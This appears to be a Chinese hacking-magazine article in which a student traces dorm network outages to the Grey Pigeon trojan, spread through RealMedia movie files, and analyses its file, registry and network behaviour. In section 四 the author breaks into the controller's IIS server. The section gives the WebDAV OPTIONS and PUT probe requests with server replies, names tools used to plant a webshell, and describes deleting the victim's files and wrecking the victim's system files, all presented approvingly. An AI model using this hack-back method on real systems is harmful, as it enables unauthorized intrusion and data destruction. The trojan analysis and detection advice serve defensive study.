一. 神秘的网络断流事件
上了大学真“自由”,一切琐事都要自己打理,就连宿舍里的网络都要自己做……作为宿舍里惟一的技术员,这任务自然就落在我头上了。最终,我们宿舍靠着ZyXEL SC642 ADSL Modem和TP-Link交换机的配合上了网,Modem方面我设置了路由和防火墙,宿舍内设置成一个对等网,一个学期下来平安无事。
然而到了学期末,网络却有了异常:经常突然间就访问不了网络了,有时候等一会儿就好,但更多的时候只能重启Modem了。在网络中断的时候,Modem的控制界面很难访问,而且界面显示的网络状态是“正常”的!很显然是ADSL断流了,但一个学期下来都没问题,怎么最近才开始断流?
由于断流时很难连接配置界面,我就试着ping了一下Modem,发现响应很慢,丢包率甚至达到90%!重启Modem后ping值恢复正常,可是才过不久就又开始断流和丢包,难道Modem坏了?我写了个小程序监控Modem的反应,发现在每次断流开始的时候,Modem就出现超时了,一旦ping值正常,网络就恢复正常,难道Modem坏了?测试把Modem的路由关闭,等了很久也没有超时,但是一旦连接网络就经常断流!结合多方资料和现象,我确认这是Viking芯片遭受攻击后的反应,难道有人蓄意攻击我们宿舍?查看Modem配置界面的防火墙日志,发现这里无论外部内部的扫描记录都有,很难分辨出有用的数据,只好交待宿舍的所有人上QQ时必须隐身,避免让攻击者抓到IP。随后的几天里网络仍然断断续续的不稳定,我只能努力从每天的Modem防火墙日志里找些蛛丝马迹,防御工作陷入被动状态。
二. 发现攻击源
几天下来,配合防火墙日志,我终于发现一些规律:内网的192.168.1.13这台机器每天都有被防火墙记录的操作,但该机器的主人每天做得最多的事情仅仅是听歌和看些从网络上下载的电影而已,怎么会被Modem视为威胁?要知道宿舍里另一个玩网游的舍友才是最大的网络资源占用者呢。或者是他系统的网络模块出了问题?我试着把他的网线拔了,结果后来还是断流了,难道问题不是这里,检查工作又一次陷入迷雾之中。
再过了几天,我又发现另一个重要的规律:每天早上6点到8点之间都没有异常情况,而一旦时间走向10点以后,随即发生的网络断流就开始了。因此可以推断出,这种断流一定是人为的,因为攻击者可能不会起床太早。但是我也仅仅能知道这些信息了,因为攻击者始终在暗处,而且像有魔法似的死死咬住我们宿舍的IP,无论多少次重启Modem换过IP,不过10分钟Modem就会再次超时不稳定,然后断流就随机出现了!
由于网络不稳定,舍友们没了平时的雅兴,在网络断流的时间里,都会靠玩局域网游戏或者看电影打发时间,因为IP为192.168.1.13的舍友平时用卡盟之类的P2P软件下载了一些恐怖片,所以偶尔也会在他那里看,这天在看《鬼来电》的时候,突然弹出了一个小小的网页,由于此时网络不可用,变成了“该页无法显示”,舍友对此似乎很熟悉了,他说下载的几个电影都会在观看过程中弹出一些宣传广告,但他觉得这种广告毫无意义,因为有时候开全屏了就看不到了,直到电影结束下才会发现桌面上多了个网页广告。
网页广告?我脑子里却闪过一个术语:网页木马!
马上要他随便传一个以前下载的那些“会弹出广告”的电影给我,在放映到5分钟左右的片段的时候,弹出了一个网页,上面果然是宣传广告,但是我却看到下面的进度条迟迟不肯进到100%!马上拔掉网线,查看它的HTML代码,发现在文件尾部有些奇怪的东西,为了确认,我开了IRIS抓包,果然发现这个页面向某个IP发出了“GET /RMVB.exe”的请求!这是个连接网页木马的电影文件!那么舍友的机器必定中马无疑!
重启Modem,让那位舍友赶在没断流之前去瑞星在线查毒网站扫描一下,出乎我的意料,居然报告机器没有中毒!我不死心,运行Msconfig检查“启动”项没有异常,可是在检查“服务”项的时候却发现一个“Rundll32 Management”服务,Rundll32还需要这种服务维持运行?服务管理器显示这个服务对应的文件是WINDOWS目录下的RManage32.exe,可是我打开相关目录却没发现这个文件,难道见鬼了?重启进入安全模式,居然发现文件是存在的,来不及思考是怎么回事,把它复制到自己的电脑后,帮舍友删除了这个文件,重启几次后确认这个文件没有再出现了。
接下来我直接在自己机器运行了这个文件,刚运行不久,就发现网络传输指示一直亮着,同时Modem监控程序就报告超时了,过了一会儿,网络再次断流!马上看Modem的防火墙日志,发现我的IP(192.168.1.8)被认为是SingleHost DOS,攻击源找到了!
三. 追查“牧马者”
清理RManage32进程和服务项后,宿舍网络再也没有断流过,看来真凶就是这个小东西了!目前由于瑞星无法查杀这个文件,我也不好推测它是什么用途,但有一点可以肯定的是,这个程序在试图与远程的什么东西进行数据传输,结果由于内网NAT映射的缘故导致建立连接失败,程序的多次连接尝试最终被Modem视为拒绝服务攻击,并意外的诱发Modem处理芯片的bug,导致Modem罢工造成宿舍网络断流!
既然杀毒软件无法得知真实数据,那我只能自己分析了,开启“系统监控三剑客”IRIS(网络监控)、NTRegMon(注册表监控)、FileMon(文件监控),然后运行RManage32.exe,截获到这些动作:
文件行为:
1. 复制自身到系统目录(WINNT),名字为RManage32.exe
2. 创建文件RManage32.dll、RManage32_Hook.dll、RManage32Key.dll
3. 删除原来的感染体RManage32.exe
4. 系统目录里的RManage32.exe进程启动
注册表行为:
1. 创建服务子键HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RManage32_Server以及相关数据子键
2. 设置HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RManage32_Server的“Start”项为0x02即自动运行
网络行为:
1. 连接 http://xxx.yeah.net
2. 返回带有域名对应IP的HTML转向数据
3. 连接该IP的8000端口
4. 无数据返回
由此推断出,这个程序是以服务方式启动的,而且对网络的连接行为应该是为了进行某些重要的操作,只是由于机器上的天网防火墙、内网NAT转换和监视级别过高的Modem防火墙三个防护措施一起阻挠的缘故未能实现,难道是反弹木马?马上去找资料,结果发现这个木马就是大名鼎鼎的灰鸽子!
因为已经监视到了文件行为,因此不怕这个木马还会有什么残留祸害,但是为了捕获幕后黑手,我只能再冒一次险了,在Modem里设置NAT规则的IP映射(RDR)全部端口到我的IP,再次开启IRIS监听数据,我的目的只有一个,就是获取控制者的IP,因为灰鸽子的“自动上线”报告功能必须让控制端监听8000端口,然后服务端通过解析域名获得控制端IP,再连接控制端实现自动上线,这样一来控制端就不需要自己去连接服务端了。但是这种方法有一个弱点就是会暴露控制者自身IP,如今我就是要通过这方法揪出控制者!
网络行为:
1. 连接 http://xxx.yeah.net
2. 返回带有域名对应IP的HTML转向数据
3. 连接该IP的8000端口
4. 建立连接
5. 开始数据传输
在数据传输开始的时候,我刚要拔掉网线,网络又断流了……郁闷,这个小马害得我们好惨!
其实在域名解析后,控制这的IP就已经暴露了,继续让木马工作的原因是为了确认控制者在不在线。既然在线,那就好办了,因为那些电影是打开一个固定IP的网页木马的,由此可推断控制者必定属于这三种情况之一:
1. 控制者的IP是静态固定的,而且开着WEB服务以便让受害者下载木马
2. 控制者IP是动态的,但是通过动态更新灰鸽子调用的域名来完成同步更新下载木马的IP,这样也必须开着WEB服务
3. 木马下载的地方与控制者无关,控制者是入侵了某个网站而放上去的木马
前两种情况对我有利,因为这样一来,所有的数据流都是从控制者那里直接来的,如果控制者的WEB服务存在漏洞,我便可以反向入侵他,如果是最后一种,那只能另外想办法,毕竟能被入侵的网站应该也不会是什么防御措施很好的网站,我同样可以有机会入侵。
为了确认控制者是不是用自己机器做猎杀潜艇,我直接在IE浏览器里输入http://入侵者IP/RMVB.exe,还记得前面IRIS监听到的数据吗?这个就是木马的下载地址。过了一会儿,IE弹出了下载窗口,控制者符合前两种情况!我马上开了扫描器,发现控制者开了4个端口:80、135、139、8000,WEB服务为IIS 5.1,扫描不到一般漏洞。
幕后黑手终于浮上了水面,现在剩下的事情,就是入侵技术的对抗了。
四. 通过IIS写权限进行反向入侵
根据舍友提供的信息得知入侵者是通过卡盟这款P2P电影共享工具实现的电影种马,如此一来,受入侵者危害的人数可能会很多,必须想办法阻止他才行!但是根据X-Scan的扫描报告推测,入侵者的机器是打了所有补丁的Windows XP系统(由IIS版本号可以推测,Win2000为5.0,XP为5.1,2003为6.0),只开了很少的端口,灰鸽子开的端口没法入侵,也不可能进行NetBIOS和IPC$入侵,那么唯一可以突破的可能性只有WEB服务了,可是用 IE打开却是“该站点未配置”提示,显然入侵者做WEB服务只是为了挂个木马文件让受害者下载,上面不可能存在论坛之类可以突破的东西,难道只能放弃?我不甘心,查阅一些关于IIS的技术资料后发现一个重要的术语:“IIS写权限”!
这里我简单描述一下什么是“写权限”,它是由当年引发大漏洞的WebDAV组件提供的服务器扩展功能,用于直接向服务器目录写入文件,为管理员执行某些远程操作提供了方便,但是同时也给服务器带来了安全隐患,如果运气好,一台没有进行配置的IIS是开放匿名写权限的,入侵者可以向WEB目录写入一些带有危害的文件,例如WebShell脚本等。
首先测试入侵者有没有专门配置过IIS,如果WebDAV被关闭,那么一切都没戏了……打开Telnet进入对方80端口,输入:
OPTIONS / HTTP/1.1
Host: www.s8s8.net
两次回车后返回以下数据:
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 12 Jul 2005 03:39:50 GMT
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL:
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIN
D, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private
服务器开了WebDAV且支持PUT,这是“写权限”的基本,接下来再进一步验证是否打开了“写权限”,Telnet输入:
PUT /file.txt HTTP/1.1
Host: 入侵者IP
Content-Length: 1
返回:
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.1
Date: Tue, 12 Jul 2005 04:23:55 GMT
输入1个字符后,回应如下:
HTTP/1.1 201 Created
Server: Microsoft-IIS/5.1
Date: Tue, 12 Jul 2005 04:24:12 GMT
Location: http:// 入侵者IP /file.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, LOCK, UNLOCK
服务器支持“写权限”,既然如此,就让我来给它放个WebShell吧!使用SuperHei的iiswrite.pl脚本把网络上流传已久的那个经典写文件后门放了上去,再用它写入我修改过的海洋顶端ASP木马(限于篇福,这里就不写出来了),经过一番搜索,发现了他的电影目录,估计全部被加木马处理过了,因此全部删除,然后清理了系统的重要文件和启动文件,这样一来,他下次开机就会发现系统已经瘫痪,让他尝尝害人者终害己的滋味!
连续几天下来宿舍的网络再也没有断流过,一切都恢复正常了。而那些电影文件由于被入侵者设置过,要改回来太麻烦(当然也不是不能改),所以要那舍友删除了,至此后门危机解除。
五. 回溯
1.电影文件传播木马的真相
一些读者可能会觉得可怕,连电影文件也会带毒,那以后还怎么看电影?我要如何检查电影文件是不是感染了病毒?别慌,这并不是什么高深的“感染技术”,而是RealMedia格式文件自带的被称为“事件”的功能引起的问题,这个功能让影片播放到事先设定好的时间段的时候自动打开某个网页,我不知道Real公司到底在想什么,但如今这个功能被大量用于木马传播已经成为现实:入侵者做好一个网页木马,然后修改Real格式的电影文件,加入在某个时段打开这个网页木马URL的事件,然后就可以安心的守株待兔了。强调一下,电影文件本身是没有木马的,它只是携带了一个打开网页的事件而已,问题在于它并不知道这个网页是否有害!
2.灰鸽子的隐藏原理
灰鸽子在一般情况下是无法发现的,因为这个木马的防护措施是通过拦截API调用让系统无法枚举域它有关的信息,所以无论是从资源管理器还是进程管理器,你都无法发现它的文件体和进程,也许它唯一暴露自身的地方就是服务管理器里的服务列表,但这里稍加改动后其实一样可以隐藏,另外因为它是反弹木马(所谓反弹木马,就是服务端主动去连接控制端的木马),因此也不会开放端口,这样一来,灰鸽子可以迷惑许多用户,使得他们在不知不觉中受害。但是这种隐藏方法有一个最大的失效环境,那就是安全模式或者非Windows系统,因为即使它的HOOK功能再强大也必须要由一个EXE把相关功能模块DLL载入内存执行,否则它只能是废物一滩,(还记得吗,DLL木马的原理),而且杀毒厂商会很快就能查杀新版木马,因此读者无需过于害怕,舍友感染的灰鸽子是因为被另行加壳并改了些设置导致特征码变化而查不出来,这只是片面现象。
3.总结
这次事件的曝光是因为Modem防火墙的级别过高,服务端又处于一个LAN环境,因而导致木马与外部交互的时候被Modem拦截并造成Modem超负荷(虽然具体详情我也无法得知,但正是由于这款芯片存在bug的Modem,才避免了一次木马的暗渡陈仓,也许换作别的Modem,木马已经犯下罪恶了),因此,设置Modem防火墙是必要工作!
由于木马是通过带有IE漏洞的网页下载而来的,而IE的漏洞永远也补不完,因此不能武断的说“定期去修补系统漏洞”,因为已经有过实际案例证明一些IE的漏洞补了也等于没补,所以能给读者的建议唯有时常留意自己系统里多了什么文件和服务之类的,以及一些异常现象,掌握基本的入侵检测技术方能确保自己在这个混乱的网络中不受侵害!
http://www.hack58.net/Article/60/61/2006/8969.htm